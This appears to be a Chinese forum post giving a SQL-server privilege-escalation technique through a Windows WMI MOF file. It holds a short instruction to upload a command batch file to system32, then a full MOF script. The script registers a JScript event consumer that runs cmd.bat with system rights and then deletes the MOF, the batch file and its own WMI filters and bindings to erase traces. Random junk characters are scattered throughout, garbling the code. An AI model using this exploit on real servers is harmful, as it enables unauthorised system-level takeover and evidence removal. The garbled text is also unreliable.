这个sql提权MOF需要运行 system下的文件,不能定义路径。
/ f& t3 p Z" r$ D8 }需要将要运行的命令写入到bat上传到system32目录,然后执行。# p4 Y" X0 e9 z D4 x& g" r& I
# P1 O4 G, A+ `4 ]2 c* j0 U" p这个sql提权MOF需要运行 system下的文件,不能定义路径。
) i& w& k/ M: q) v/ G0 ?. {需要将要运行的命令写入到bat上传到system32目录,然后执行。6 }* V2 v; T$ P: a" M8 k
; H* J( ? m0 A/ K2 W9 Y) G#pragma* q0 W5 L0 n% N5 T& E( \
namespace("\\\\.\\root\\cimv2")7 D: {; P) N) P9 a9 w
class- b8 f; g; N, A- b1 ~( G; ]2 R) H: W
MyClass5470 Y/ e7 Z( o' l" R
{ [key]
$ }8 r6 U/ ^; |5 t* t6 T string% G! k$ u% n$ D; u0 N8 |7 S# i
Name;
3 [# a+ x6 X; o3 B3 Y };
; }0 r c0 W2 ^- B5 j class
' f7 u8 _/ d7 L+ C6 N! [ ActiveScriptEventConsumer. e% ^6 I2 D9 e7 p* b$ }( ]
: __EventConsumer { [key]
+ u- ?6 N5 v- c string
+ X6 G. w, @0 I% \4 n. l2 O+ F$ \ Name; [not_null]
0 N! {" [9 O! s" S6 x string
; w: t: `7 ^. ^* [8 r6 S ScriptingEngine; string
8 y* B. d" ~7 y, z# P- ~0 m2 K ScriptFileName; [template]
9 b2 t# z6 M( E9 p# i7 X string
. Z. I7 q' b8 A1 e ScriptText; uint32 KillTimeout;' b5 k* c6 P& J' {' r4 O
}; instance of __Win32Provider as $P {$ u, g z" o! K; d6 T
Name( C4 D5 R0 e. n5 Z3 C7 R6 K7 F
=
- x6 P; A+ R1 E3 } "ActiveScriptEventConsumer"; CLSID =+ }* D) P' p$ P0 ~' H6 U
"{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
6 L( _( E4 l1 u6 } PerUserInitialization& [0 ]: O! ^! w5 P2 h" s# y7 n8 O
= TRUE;
8 i0 y) T& w9 A* }$ X }; instance of __EventConsumerProviderRegistration { Provider1 j- L, ?- J* g8 F4 ]% m
= $P; ConsumerClassNames% r# D/ v/ J2 f0 P
=5 w6 o4 Z2 w8 c7 ?) X0 k: p
{"ActiveScriptEventConsumer"};3 A$ \; u/ x! f9 H- m
};
9 m) X8 i& d- Y4 f2 i Instance of ActiveScriptEventConsumer% i6 W; C2 I9 W: L3 r0 x, A* c
as $cons { Name
8 P' h9 C: ~% m0 e) H% | =
. B" f5 j& B1 X0 `9 ] "ASEC"; ScriptingEngine
6 x7 U& [0 L! j* W& M" C =
. i4 Y( b8 }) i6 T- p' z "JScript"; ScriptText; _2 B+ Q' z) Q9 u9 F& W
=
9 `5 q! Q8 D5 [* j! L2 W "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };( _4 c# H$ }- D! K7 T! s
Instance of ActiveScriptEventConsumer
( T% I/ Z$ {& b! _3 g4 C' w as $cons2 { Name, V2 j0 c5 _) s" b) o+ E
=5 r3 F6 n1 a. ?: t* L
"qndASEC"; ScriptingEngine" H3 U+ W& F, g, _ O& u3 y0 L
=4 k( B2 n/ a3 X! q) T
"JScript"; ScriptText% C; T0 R4 j( _& D6 d9 @! \2 t
=/ n4 C+ K" u& A' B6 B! V
"\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";: M. O/ }$ ?& l0 k
}; instance of __EventFilter as $Filt { Name
3 F, G" x+ U1 W) F* k =0 D, m8 E, M; {2 t0 N! z5 }
"instfilt"; Query
* E1 {# F" S9 ^3 o =6 J) s& M. v5 ^" f8 l7 N$ b- K7 J
"SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage
+ q( ^! A9 N0 t2 Q =
' X! w( r; I3 i6 K7 Z9 p& \ "WQL"; }; instance of __EventFilter as $Filt2 { Name
/ Z" u4 S. a7 w+ ?' G: D =+ q8 x1 v7 U3 `. Z. c$ r7 ?( T( c
"qndfilt"; Query7 v/ o/ s' M% C$ x$ X
=
2 l; w8 ?$ K7 @1 m* l- Y4 {0 b3 u "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage
1 d) O2 |8 Q) h& F, z =. F9 Z2 U2 D6 C, ~- n4 o9 E
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer3 k, t& ~, X7 D
= $cons; Filter
7 h8 E. L- X2 C3 \ = $Filt;
( g$ y! y1 o: M, c; T }; instance of __FilterToConsumerBinding as $bind2 { Consumer
0 `- a2 M, l/ D+ k+ R8 j( P = $cons2; Filter& C o4 M2 f/ f: N
= $Filt2;
) S% L8 O! m1 v: j; c }; instance of MyClass547& I6 _ @' O* z1 A. d+ R/ Z
as $MyClass { Name
% u, i( O5 Y0 O! O0 j* T( J+ ^ =- B+ ^$ R/ D: g9 F% m. n
"ClassConsumer";9 H! o3 Y3 L$ J. m O$ G
}; |